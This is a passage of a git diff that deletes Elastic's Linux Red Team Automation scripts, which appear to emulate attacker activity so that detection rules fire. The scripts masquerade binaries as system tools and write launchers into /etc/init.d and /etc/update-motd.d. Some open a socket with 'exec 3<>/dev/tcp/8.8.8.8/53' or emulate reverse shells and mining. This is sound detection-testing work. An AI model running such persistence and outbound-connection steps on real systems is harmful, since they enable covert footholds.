platforms=["linux"], - endpoint=[ - { - "rule_name": "Kill Command Executed from Binary in Unusual Location", - "rule_id": "b9935dcc-e885-4954-9999-3c016b990737", - }, - ], - techniques=["T1059", "T1562"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - # Path for the fake kill script - kill_script = "/dev/shm/rta" - - # Create fake executable - masquerade = "/tmp/kill" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.execute(["chmod", "+x", masquerade]) - - # Create a fake script that executes the fake binary - with Path(kill_script).open("w", encoding="utf-8") as script: - script.write("#!/bin/bash\n") - script.write("/tmp/kill\n") - - # Make the script executable - common.execute(["chmod", "+x", kill_script]) - - # Execute the fake script - common.log("Launching fake kill script") - common.execute([kill_script], timeout=5, kill=True, shell=True) # noqa: S604 - - # Cleanup - common.remove_file(kill_script) - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_linux_powershell_outbound_network_connection.py b/rta/linux_execution_linux_powershell_outbound_network_connection.py deleted file mode 100644 index 3ebf8bc28..000000000 --- a/rta/linux_execution_linux_powershell_outbound_network_connection.py +++ /dev/null @@ -1,59 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import subprocess -import sys -import time - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="65978ab7-37d2-4542-8e03-50b3d408ff42", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Linux Powershell Egress Network Connection", - "rule_id": "1471cf36-7e5c-47cc-bf39-2234df0e676a", - }, - ], - techniques=["T1203"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - parent_process_path = "/tmp/pwsh" - child_script_path = "/tmp/sh" - network_command = "exec 3<>/dev/tcp/8.8.8.8/53" - - # Create the fake parent process script - with open(parent_process_path, "w") as parent_script: # noqa: PTH123 - parent_script.write("#!/bin/bash\n") - parent_script.write(f"{child_script_path}\n") - - # Create the child script that will make the network connection - with open(child_script_path, "w") as child_script: # noqa: PTH123 - child_script.write("#!/bin/bash\n") - child_script.write(f"{network_command}\n") - - # Make the scripts executable - common.execute(["chmod", "+x", parent_process_path]) - common.execute(["chmod", "+x", child_script_path]) - - # Execute the parent process script - common.log("Executing the fake parent process script") - subprocess.Popen([parent_process_path]) # noqa: S603 - - # Allow some time for the network connection to be attempted - time.sleep(5) - common.log("RTA execution completed.") - - # Cleanup - common.remove_file(parent_process_path) - common.remove_file(child_script_path) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_renice_ulimit.py b/rta/linux_execution_renice_ulimit.py deleted file mode 100644 index cc07722dc..000000000 --- a/rta/linux_execution_renice_ulimit.py +++ /dev/null @@ -1,46 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="9e7ec69a-50cb-4bce-8ace-50e4e6f0199d", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Renice or Ulimit Execution", - "rule_id": "57ed0e43-643a-47f3-936e-138dc6f480da", - }, - ], - techniques=["T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/dev/shm/evil" - - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.execute(["chmod", "+x", masquerade]) - - masquerade2 = "/dev/shm/renice" - common.copy_file(source, masquerade2) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade2]) - - commands = [masquerade, "exec", "-c", "/dev/shm/renice"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_reverse_or_bind_shell_via_utility.py b/rta/linux_execution_reverse_or_bind_shell_via_utility.py deleted file mode 100644 index 65b3979d9..000000000 --- a/rta/linux_execution_reverse_or_bind_shell_via_utility.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="8f5607f7-4c55-4458-b908-b2cb22c54cf4", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Reverse or Bind Shell via Suspicious Utility", - "rule_id": "bb330560-0042-48a5-8232-7f2012d6e440", - }, - ], - techniques=["T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/vim" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "-c", "socket"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_reverse_shell_or_listener_via_socat.py b/rta/linux_execution_reverse_shell_or_listener_via_socat.py deleted file mode 100644 index d0343f5ac..000000000 --- a/rta/linux_execution_reverse_shell_or_listener_via_socat.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="2e476fe9-9c70-4276-a224-2f22ba149eea", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Socat Reverse Shell or Listener Activity", - "rule_id": "613da93c-226e-4150-9125-3b476103c0b9", - }, - ], - techniques=["T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/socat" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "exec", "-c", "exec tcp"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_setsid_nohup_unusual_execution.py b/rta/linux_execution_setsid_nohup_unusual_execution.py deleted file mode 100644 index d2b07435a..000000000 --- a/rta/linux_execution_setsid_nohup_unusual_execution.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="66ff975c-fa48-47c4-965a-8f363425369e", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Suspicious Execution via setsid and nohup", - "rule_id": "18d82674-08d0-408e-801b-468e1b06298f", - }, - ], - techniques=["T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake nohup executable..") - masquerade = "/tmp/nohup" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "exec", "-c", "/dev/tcp"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_hack_tool.py b/rta/linux_hack_tool.py deleted file mode 100644 index 23f491d6f..000000000 --- a/rta/linux_hack_tool.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="9b0bbe6d-2116-4327-930b-51e3e5097487", - platforms=["linux"], - endpoint=[{"rule_name": "Potential Linux Hack Tool Launched", "rule_id": "3337a10c-e950-4827-a44e-96a688fba221"}], - siem=[{"rule_name": "Potential Linux Hack Tool Launched", "rule_id": "1df1152b-610a-4f48-9d7a-504f6ee5d9da"}], - techniques=[""], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/crackmapexec" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Launching fake command to simulate a CME process") - common.execute([masquerade], timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_impact_enable_write_access_to_msr.py b/rta/linux_impact_enable_write_access_to_msr.py deleted file mode 100644 index c46a05b56..000000000 --- a/rta/linux_impact_enable_write_access_to_msr.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="cf8104ca-bd23-4652-b1f7-b63e3d92bc66", - platforms=["linux"], - endpoint=[ - { - "rule_name": "MSR Write Access Enabled", - "rule_id": "4342c282-ee21-4140-8e27-4e0f551489ef", - }, - ], - techniques=["T1496", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/modprobe" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "msr", "allow_writes=on"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_impact_potential_mining_pool_detection.py b/rta/linux_impact_potential_mining_pool_detection.py deleted file mode 100644 index 6a1ac69a9..000000000 --- a/rta/linux_impact_potential_mining_pool_detection.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="5abebdea-b42e-4401-8838-15f19d11401f", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Mining Pool Command Detection", - "rule_id": "fcc42a61-4507-4918-867b-d673e5b065dc", - }, - ], - techniques=["T1496", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/dev/shm/evil" - - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "exec", "-c", "crypto-pool.info"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_initd_unusual_binary_execution.py b/rta/linux_initd_unusual_binary_execution.py deleted file mode 100644 index a69c107e4..000000000 --- a/rta/linux_initd_unusual_binary_execution.py +++ /dev/null @@ -1,51 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -metadata = RtaMetadata( - uuid="4076de6c-6caa-40b3-bfb6-548645823376", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Init.d Script Executed Binary from Unusual Location", - "rule_id": "879c083c-e2d9-4f75-84f2-0f1471d915a8" - } - ], - techniques=["T1037"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # Path for the fake initd script - fake_initd = "/etc/init.d/rta" - - # Create fake sh executable - masquerade = "/tmp/sh" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Create a fake initd script that launches sh - with open(fake_initd, 'w') as script: - script.write('#!/bin/bash\n') - script.write('/tmp/sh\n') - - # Make the script executable - common.execute(['chmod', '+x', fake_initd]) - common.execute(['chmod', '+x', masquerade]) - - # Execute the fake initd script - common.log("Launching a shell that executes a payload as a child of fake initd") - common.execute([fake_initd], timeout=5, kill=True, shell=True) - - # Cleanup - common.remove_file(fake_initd) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/linux_motd_netcon.py b/rta/linux_motd_netcon.py deleted file mode 100644 index aedaf6daf..000000000 --- a/rta/linux_motd_netcon.py +++ /dev/null @@ -1,60 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import subprocess -import sys -import time -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="6a3d9ca4-d010-42c7-b75a-7dc8ce347e59", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Message of the Day Execution Followed by Network Connection", - "rule_id": "a18e57c9-5627-4535-b994-64febc67c1e8", - }, - ], - techniques=["T1037", "T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - parent_process_path = "/etc/update-motd.d/rta" - child_script_path = "/tmp/child.sh" - network_command = "exec 3<>/dev/tcp/8.8.8.8/53" - - # Create the fake parent process script - with Path(parent_process_path).open("w", encoding="utf-8") as parent_script: - parent_script.write("#!/bin/bash\n") - parent_script.write(f"{child_script_path}\n") - - # Create the child script that will make the network connection - with Path(child_script_path).open("w", encoding="utf-8") as child_script: - child_script.write("#!/bin/bash\n") - child_script.write(f"{network_command}\n") - - # Make the scripts executable - common.execute(["chmod", "+x", parent_process_path]) - common.execute(["chmod", "+x", child_script_path]) - - # Execute the parent process script - common.log("Executing the fake parent process script") - subprocess.Popen([parent_process_path]) # noqa: S603 - - # Allow some time for the network connection to be attempted - time.sleep(5) - common.log("RTA execution completed.") - - # Cleanup - common.remove_file(parent_process_path) - common.remove_file(child_script_path) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_apt_package_manager_execution.py b/rta/linux_persistence_apt_package_manager_execution.py deleted file mode 100644 index 1cad124eb..000000000 --- a/rta/linux_persistence_apt_package_manager_execution.py +++ /dev/null @@ -1,50 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="305b2daa-2ef4-4cdd-8ed2-d751174cbdcc", - platforms=["linux"], - endpoint=[ - { - "rule_name": "APT Package Manager Command Execution", - "rule_id": "cd0844ea-6112-453f-a836-cc021a2b6afb", - }, - ], - techniques=["T1543", "T1059", "T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake apt executable..") - masquerade = "/tmp/apt" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - common.log("Creating a fake openssl executable..") - masquerade2 = "/tmp/openssl" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade2) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade2]) - - commands = [masquerade, "exec", "-c", "/tmp/openssl"] - common.execute([*commands], timeout=5, kill=True) - - common.log("Cleaning...") - common.remove_file(masquerade) - common.remove_file(masquerade2) - - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_direct_crontab_modification.py b/rta/linux_persistence_direct_crontab_modification.py deleted file mode 100644 index 1adf9c52e..000000000 --- a/rta/linux_persistence_direct_crontab_modification.py +++ /dev/null @@ -1,53 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="a1286125-bf4b-40bb-819a-b7c5de83fafb", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Persistence via Direct Crontab Modification", - "rule_id": "b3bcbab6-e216-4d70-bdee-2b69affbb386", - }, - ], - techniques=["T1053"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - # Path for the fake script - rta_script = "/dev/shm/rta" - - # Create fake executable - masquerade = "/tmp/crontab" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.execute(["chmod", "+x", masquerade]) - - # Create a fake script that executes the fake binary - with Path(rta_script).open("w", encoding="utf-8") as script: - script.write("#!/bin/bash\n") - script.write("/tmp/crontab -\n") - - # Make the script executable - common.execute(["chmod", "+x", rta_script]) - - # Execute the fake script - common.log("Launching fake script") - common.execute([rta_script], timeout=5, kill=True, shell=True) # noqa: S604 - - # Cleanup - common.remove_file(rta_script) - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_dpkg_netcon.py b/rta/linux_persistence_dpkg_netcon.py deleted file mode 100644 index 868cc349e..000000000 --- a/rta/linux_persistence_dpkg_netcon.py +++ /dev/null @@ -1,60 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="3d387400-3fc4-457f-92cd-8ba77271b348", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Egress Network Connection from Default DPKG Directory", - "rule_id": "947b70bb-8e01-4f1b-994d-5af9488556bb", - }, - ], - techniques=["T1546", "T1543", "T1574", "T1195", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - # Ensure the /var/lib/dpkg/info/ directory exists - dpkg_info_dir = "/var/lib/dpkg/info/" - if not Path(dpkg_info_dir).exists(): - common.log(f"Creating directory {dpkg_info_dir}") - Path(dpkg_info_dir).mkdir(parents=True, exist_ok=True) - - # Path for the fake DPKG package executable - masquerade = str(Path(dpkg_info_dir) / "rta") - source = common.get_path("bin", "netcon_exec_chain.elf") - - common.log("Creating a fake DPKG package..") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - # Execute the fake DPKG package - common.log("Executing the fake DPKG package..") - commands = [ - masquerade, - "chain", - "-h", - "8.8.8.8", - "-p", - "53", - "-c", - "/var/lib/dpkg/info/rta netcon -h 8.8.8.8 -p 53", - ] - common.execute([*commands], timeout=5, kill=True) - - # Cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_initd_netcon.py b/rta/linux_persistence_initd_netcon.py deleted file mode 100644 index 8a883535a..000000000 --- a/rta/linux_persistence_initd_netcon.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="ac1f9204-f612-4d50-9de0-6dabcd589816", - platforms=["linux"], - endpoint=[ - { - "rule_name": "System V Init (init.d) Egress Network Connection", - "rule_id": "b38eb534-230c-45f4-93ba-fc516ac51630", - }, - ], - techniques=["T1037", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - # Path for the fake initd executable - masquerade = "/etc/init.d/rta" - source = common.get_path("bin", "netcon_exec_chain.elf") - - common.log("Creating a fake initd executable..") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - # Execute the fake initd executable - common.log("Executing the fake initd executable..") - commands = [masquerade, "chain", "-h", "8.8.8.8", "-p", "53", "-c", "/etc/init.d/rta netcon -h 8.8.8.8 -p 53"] - common.execute([*commands], timeout=5, kill=True) - - # Cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_initd_unusual_binary_execution.py b/rta/linux_persistence_initd_unusual_binary_execution.py deleted file mode 100644 index 3357dbdf6..000000000 --- a/rta/linux_persistence_initd_unusual_binary_execution.py +++ /dev/null @@ -1,52 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="0560d795-bdd6-4a91-97ad-8e2c2d8143ef", - platforms=["linux"], - endpoint=[ - { - "rule_name": "System V Init (init.d) Executed Binary from Unusual Location", - "rule_id": "879c083c-e2d9-4f75-84f2-0f1471d915a8", - }, - ], - techniques=["T1037"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - # Path for the fake initd script - initd_script = "/etc/init.d/rta" - - # Create fake executable - masquerade = "/dev/shm/evil" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Create a fake script that executes the fake binary - with Path(masquerade).open("w", encoding="utf-8") as script: - script.write("#!/bin/bash\n") - script.write("/dev/shm/evil\n") - - # Make the script executable - common.execute(["chmod", "+x", initd_script]) - - # Execute the fake script - common.log("Launching fake initd script") - common.execute([initd_script], timeout=5, kill=True, shell=True) # noqa: S604 - - # Cleanup - common.remove_file(initd_script) - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_kworker_file_creation.py b/rta/linux_persistence_kworker_file_creation.py deleted file mode 100644 index 9839cbf72..000000000 --- a/rta/linux_persistence_kworker_file_creation.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="5282c9a4-4ce9-48b8-863a-ff453143635a", - platforms=["linux"], - endpoint=[], - siem=[{"rule_name": "Suspicious File Creation via kworker", "rule_id": "ae343298-97bc-47bc-9ea2-5f2ad831c16e"}], - techniques=["T1547", "T1014"], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - masquerade = "/tmp/kworker" - source = common.get_path("bin", "create_file.elf") - common.copy_file(source, masquerade) - - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "/tmp/evil"] - - common.log("Simulating file creation activity..") - common.execute([*commands], timeout=5) - common.log("File creation simulation successful!") - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("RTA completed!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_motd_netcon_parent_child.py b/rta/linux_persistence_motd_netcon_parent_child.py deleted file mode 100644 index de4e1d792..000000000 --- a/rta/linux_persistence_motd_netcon_parent_child.py +++ /dev/null @@ -1,53 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="a67ba2b1-cace-4cb9-9b7e-12c9ffe136cb", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Egress Network Connection by MOTD Child", - "rule_id": "da02d81a-d432-4cfe-8aa4-fc1a31c29c98", - }, - ], - techniques=["T1037", "T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - # Path for the fake motd executable - masquerade = "/etc/update-motd.d/rta" - source = common.get_path("bin", "netcon_exec_chain.elf") - - common.log("Creating a fake motd executable..") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - # Execute the fake motd executable - common.log("Executing the fake motd executable..") - commands = [ - masquerade, - "chain", - "-h", - "8.8.8.8", - "-p", - "53", - "-c", - "/etc/update-motd.d/rta netcon -h 8.8.8.8 -p 53", - ] - common.execute([*commands], timeout=5, kill=True) - - # Cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_rpm_netcon.py b/rta/linux_persistence_rpm_netcon.py deleted file mode 100644 index 6caa3eac4..000000000 --- a/rta/linux_persistence_rpm_netcon.py +++ /dev/null @@ -1,56 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="535959a4-5bad-44d8-9ebd-003d7ed0733c", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Egress Network Connection from RPM Package", - "rule_id": "d20cd4ba-ff65-4e1c-8012-4241d449b16b", - }, - ], - techniques=["T1546", "T1543", "T1574", "T1195", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - # Ensure the /var/tmp/ directory exists - rpm_info_dir = "/var/tmp/" - if not Path(rpm_info_dir).exists(): - common.log(f"Creating directory {rpm_info_dir}") - Path(rpm_info_dir).mkdir(parents=True, exist_ok=True) - - # Path for the fake RPM package executable - masquerade = str(Path(rpm_info_dir) / "rpm-tmp.rta") - source = common.get_path("bin", "netcon_exec_chain.elf") - - common.log("Creating a fake RPM package..") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - # Execute the fake RPM package - common.log("Executing the fake RPM package..") - commands = [ - masquerade, - "exec", - "-c", - "exec /var/tmp/rpm-tmp.rta netcon -h 8.8.8.8 -p 53", - ] - common.execute([*commands], timeout=5, kill=True, shell=True) # noqa: S604 - - # Cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_scheduled_task_executing_sus_located_binary.py b/rta/linux_persistence_scheduled_task_executing_sus_located_binary.py deleted file mode 100644 index 9c3c81ff7..000000000 --- a/rta/linux_persistence_scheduled_task_executing_sus_located_binary.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="5b9be46b-18f2-4b74-9003-36d763c5d887", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Scheduled Job Executing Binary in Unusual Location", - "rule_id": "f2a52d42-2410-468b-9910-26823c6ef822", - }, - ], - techniques=["T1543", "T1053", "T1543"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake cron executable..") - masquerade = "/tmp/cron" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "exec", "-c", "/dev/shm/foo"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_suspicious_echo_execution.py b/rta/linux_persistence_suspicious_echo_execution.py deleted file mode 100644 index 5ef43a0ca..000000000 --- a/rta/linux_persistence_suspicious_echo_execution.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="a2217fc5-7105-4457-98fe-1cd5f810dc1a", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Suspicious Echo Execution", - "rule_id": "a13c8f01-36a5-4ad7-a282-8d297cf62860", - }, - ], - techniques=["T1543", "T1053", "T1037", "T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/sh" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "-c", "echo /dev/tcp/foo"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_persistence_webserver_curl_wget_download_ip_args.py b/rta/linux_persistence_webserver_curl_wget_download_ip_args.py deleted file mode 100644 index 7677ad8c0..000000000 --- a/rta/linux_persistence_webserver_curl_wget_download_ip_args.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - 